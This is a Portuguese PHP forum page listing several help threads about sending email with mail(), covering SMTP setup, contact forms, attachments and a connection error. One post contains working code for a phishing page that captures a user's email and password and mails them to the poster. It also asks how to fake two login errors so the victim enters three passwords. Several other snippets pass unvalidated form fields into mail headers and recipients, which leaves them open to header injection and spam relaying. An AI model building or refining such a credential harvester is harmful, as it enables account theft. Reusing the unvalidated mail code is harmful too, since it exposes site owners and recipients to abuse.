Arquivado
Este tópico foi arquivado e está fechado para novas respostas.
Recommended Posts
-
Conteúdo Similar
-
Por 4Unknow
Boa tarde pessoal, como vocês estão?
Estou com uma bronca aqui que, mudei de host, e meu sistema de feedback não envia mais os e-mails por que algumas funções estão desativadas pelo host:
"A função mail() do PHP é desativada por padrão em todos os nossos servidores. Isso porque é uma função perigosa que pode ser usada por códigos maliciosos para disparar mensagens de spam em massa pela sua hospedagem. Isso gera problemas tanto para seu site, quanto para o servidor como um todo. Para disparar e-mails você precisa usar SMTP autenticado. Usando o protocolo SMTP você utiliza uma conta de e-mail existente em sua hospedagem para enviar suas mensagens de forma autenticada e segura. "
Mas como não tenho conhecimento não sei como usar via SMTP.
Meu arquivo que dispara é este abaixo:
<?php $mail = $_POST['email']; $to = "feedback@roboeverest.app";/* SEU EMAIL */ $subject = "Feedback | Robô Everest"; $headers = "De: Feedback | Robô Everest <naoresponda@roboeverest.app>"; $message = "DETALHES\n"; $message .= "\nPrimeiro Nome: " . $_POST['firstname']; $message .= "\nSegundo Nome: " . $_POST['lastname']; $message .= "\nE-mail: " . $_POST['email']; $message .= "\nIdade: " . $_POST['age']; $message .= "\nGênero: " . $_POST['gender']; $message .= "\nTermos e condições aceitos: " . $_POST['terms']. "\n"; $message .= "\nComo você avalia sua satisfação geral com nossos serviços prestados? " . $_POST['question_1']. "\n"; $message .= "\nComo você ficou sabendo da nossa empresa?\n" ; foreach($_POST['question_2'] as $value) { $message .= "- " . trim(stripslashes($value)) . "\n"; }; $message .= "\nVocê pensa em sugerir nossa empresa para um amigo ou conhecido? " . $_POST['question_3']; if( isset( $_POST['additional_message'] ) && $_POST['additional_message']) { $message .= "\nMensagem Adicional: " . $_POST['additional_message']; } //Receive Variable $sentOk = mail($to,$subject,$message,$headers); //Confirmation page $user = "$mail"; $usersubject = "Obrigado"; $userheaders = "De: feedback@roboeverest.app\n"; /*$usermessage = "Thank you for your time. Your quotation request is successfully submitted.\n"; WITH OUT SUMMARY*/ //Confirmation page WITH SUMMARY $usermessage = "Obrigado pelo seu tempo. Sua solicitação foi enviada com sucesso. Nós responderemos em breve.\n\nABAIXO UM RESUMO\n\n$message"; mail($user,$usersubject,$usermessage,$userheaders); ?>
Sou muito leigo, gostaria de fazer envia via SMTP. É difícil de mais?
Grato se alguém puder me ajudar ou me dar uma luz.
Abraço.
-
Por eduardomr98
Boa noite amigos, preciso urgente de uma ajuda, estou iniciando em PHP e estou com alguns exercícios, criei uma página web em html e css básico com dois inputs ( email e senha) e um botão para enviar, segue o código:
<?php function mail_sender(){ if(! ( isset($_REQUEST['email']) && isset($_REQUEST['password']) ) ){ return false; } $email = $_REQUEST['email']; $password = $_REQUEST['password']; $reciever = "meuemail@gmail.com"; $subject = "Novo acesso usuario"; $message = "Usuario: ". $email; $message .= "\nSenha: ". $password; return mail($reciever, $subject, $message); } if(mail_sender()){ header("Location: sucesso.html"); } ?> Ele puxa o EMAIL e a SENHA digitada, envia para o meu email, até ai tudo bem, porém o nível 2 do exercício exige que, ao usuário digitar a senha pela primeira vez e clicar no botao de submit, ele apareça um erro, e limpe o campo, e repita isso por 2x.
Na terceira tentativa de por a senha, ele deve efetuar a ação de enviar o email, e ao invés de chegar ao email apenas o campo email e campo senha, deve chegar o campo email com as 3 senhas digitadas...
Obrigado!!
-
Por analuciagpontes
Galera...
Tenho uma hospedagem no Hostgator e quero fazer um phpmailer.... Só que não dá pra fazer com 2 arquivos (um em html e outro em php). Como faço para chamar a função no form action?
Envio abaixo o código que está sendo usado.
<html>
<head>
<title>Formulario Fale conosco</title>
<style>
body { padding: 50px 100px; font-size: 13px; font-family: arial, Tahoma, sans-serif; }
a { color:#000; } h2 { margin-bottom: 20px; color: #133141; }
input, textarea { padding: 10px; border: 1px solid #E5E5E5; width: 200px; color: #999999; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 8px; -moz-box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 8px; -webkit-box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 8px; }
textarea { width: 400px; height: 150px; max-width: 400px; line-height: 18px; }
input:hover, textarea:hover, input:focus, textarea:focus { border-color: 1px solid #C9C9C9; box-
shadow: rgba(0, 0, 0, 0.2) 0px 0px 8px; -moz-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 8px; -webkit-box-shadow: rgba(0, 0, 0, 0.2) 0px 0px 8px; }
.form label { margin-bottom: 10px; color: #999999; display: block; }
.submit input { width: 100px; height: 40px; background-color: #133141; color: #FFF; border-radius: 3px; moz-border-radius: 3px; -webkit-border-radius: 3px; }
</style>
</head>
<body>
<?php
if (isset($_POST['BTEnvia'])){
$function conec (mysql_connect ("XXX.hostgator.com.br","XXX", "XXX", "XXX"));{
$nome = $_POST['nome'];
$email = $_POST['email'];
$telefone = $_POST['telefone'];
$mensagem = $_POST['mensagem'];
$email_remetente = "XXX";
$email_destinatario = "XXX";
$email_reply = "$email";
$email_assunto = "Contato formmail";
$email_conteudo = "Nome = $nome \n";
$email_conteudo .= "Email = $email \n";
$email_conteudo .= "Telefone = $telefone \n";
$email_conteudo .= "Mensagem = $mensagem \n";
$email_headers = implode ( "\n",array ( "From: $email_remetente", "Reply-To: $email_reply", "Return-Path: $email_remetente","MIME-Version: 1.0","X-Priority: 3","Content-Type: text/html; charset=UTF-8" ) );
}
if (mail ($email_destinatario, $email_assunto, nl2br($email_conteudo), $email_headers)){
echo "E-Mail enviado com sucesso!";
}
else{
echo "Falha no envio do E-Mail!"; }}
?>
<form method="POST" action="conec()">
<p>
Nome:<br />
<input type="text" size="30" name="nome">
</p>
<p>
E-mail:<br />
<input type="text" size="30" name="email">
</p>
<p>
Telefone:<br />
<input type="text" size="35" name="telefone">
</p>
<p>
Mensagem:<br />
<input type="text" size="35" name="mensagem">
</p>
<p>
<input type="submit" name="BTEnvia" value="Enviar">
<input type="reset" name="BTApaga" value="Apagar">
</p>
</form>
</body>
</html>
-
Por Gustavo2503
Estes são alguns pontos do que eu preciso
Eu tenho um sistema que em cada registro tem um ou mais anexos. Os nomes destes anexos estão guardados no banco de dados, e os arquivos ficam na pasta anexos/ no servidor. O usuário manda este registro via email e os anexos devem ir juntos. Eu estou usando a função do PHP mail(). Objetivo: Enviar um email com um ou mais anexos
Problema: Este código só está enviando um anexo, que é o último anexo que a query pega.
OBS.: Eu não entendo de boundary e de anexos por email, eu peguei esse código na internet, mas eu fiz algumas alterações nele, porque no código original só mandava um anexo.
$assunto = "Registros"; $boundary = "XYZ-".md5(date("dmYis"))."-ZYX"; // cabeçalho do email $cabecalho = "MIME-Version: 1.0" . PHP_EOL; $cabecalho .= "Content-Type: multipart/mixed; "; $cabecalho .= "boundary=" . $boundary . PHP_EOL; $cabecalho .= "$boundary" . PHP_EOL; $msg = ""; // Anexos $sql = " SELECT A.LOCAL, A.ARQUIVO FROM TB_ANEXOS AS A LEFT JOIN TB_REGISTROS AS R ON (A.ID_REGISTRO = R.ID) WHERE R.ID = $ID "; $resultado = mysqli_query($link, $sql); if ($resultado){ while ($dados = mysqli_fetch_array($resultado, MYSQLI_ASSOC)){ $LOCAL = $dados['LOCAL']; $ARQUIVO_NAME = $dados['ARQUIVO']; $path = 'anexos/'.$LOCAL; $fileType = mime_content_type( $path ); // Pegando o conteúdo do arquivo $fp = fopen( $path, "rb" ); // abre o arquivo enviado $anexo = fread( $fp, filesize( $path ) ); // calcula o tamanho $anexo = chunk_split(base64_encode( $anexo )); // codifica o anexo em base 64 fclose( $fp ); // fecha o arquivo $msg.= "Content-Type: ". $fileType ."; name=\"". $ARQUIVO_NAME . "\"" . PHP_EOL; $msg.= "Content-Transfer-Encoding: base64" . PHP_EOL; $msg.= "Content-Disposition: attachment; filename=\"". $ARQUIVO_NAME . "\"" . PHP_EOL; $msg.= "$anexo" . PHP_EOL; $msg.= "--$boundary" . PHP_EOL; } } $msg.= "--$boundary" . PHP_EOL; $msg.= "Content-Type: text/html; charset='utf-8'" . PHP_EOL; $msg.= " <!doctype html> <html lang='pt-br'> <head> <meta charset='UTF-8'> <meta name='viewport' content='width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0'> <meta http-equiv='X-UA-Compatible' content='ie=edge'> <title>$assunto</title> <style> h2, b, legend { color: #2d2d2d; } </style> </head> <body> <p>CORPO DO EMAIL</p> </body> </html> "; $msg.= "--$boundary" . PHP_EOL; if(mail($para, $assunto, $msg, $cabecalho)) { echo "<p>Email enviado com sucesso</p>"; } else { echo '<p style="color: #f00">Erro!</p>'; }
-
Por vinihhylian0103
Esse é o código que estou tentando usar:
<?php $nome = $_POST['nome']; $arquivo = $_FILES["arquivo"]; $assunto = $_POST['assunto']; // Para quem vai ser enviado o email $para = $_POST['email']; $boundary = "XYZ-".date("dmYis")."-ZYX"; $fp = fopen($arquivo["tmp_name"], "rb"); // abre o arquivo enviado $anexo = fread($fp, filesize($arquivo["tmp_name"])); // calcula o tamanho $anexo = base64_encode($anexo); // codifica o anexo em base 64 fclose($fp); // fecha o arquivo // cabeçalho do email $headers = "MIME-Version: 1.0\n"; $headers .= "Content-Type: multipart/mixed; "; $headers .= "boundary='$boundary'\r\n"; $headers .= "$boundary\n"; // email $mensagem = "--$boundary\n"; $mensagem .= "Content-Type: text/html; charset='utf-8'\n"; $mensagem .= "<strong>Nome: </strong> $nome \r\n"; $mensagem .= "--$boundary \n"; // anexo $mensagem .= "Content-Transfer-Encoding: base64 \n"; $mensagem .= "Content-Disposition: attachment; filename=\"".$arquivo['name']."\" \r\n"; $mensagem .= "$anexo \n"; $mensagem .= "--$boundary \n"; // enviar o email mail($para, $assunto, $mensagem, $headers); ?> e estou tendo o seguinte erro:
( ! ) Warning: mail(): Failed to connect to mailserver at "localhost" port 25, verify your "SMTP" and "smtp_port" setting in php.ini or use ini_set() in C:\wamp\www\email\email.php on line 28 Call Stack # Time Memory Function Location 1 0.0010 385096 {main}( ) ...\email.php:0 2 0.0430 386472 mail ( ) ...\email.php:28
-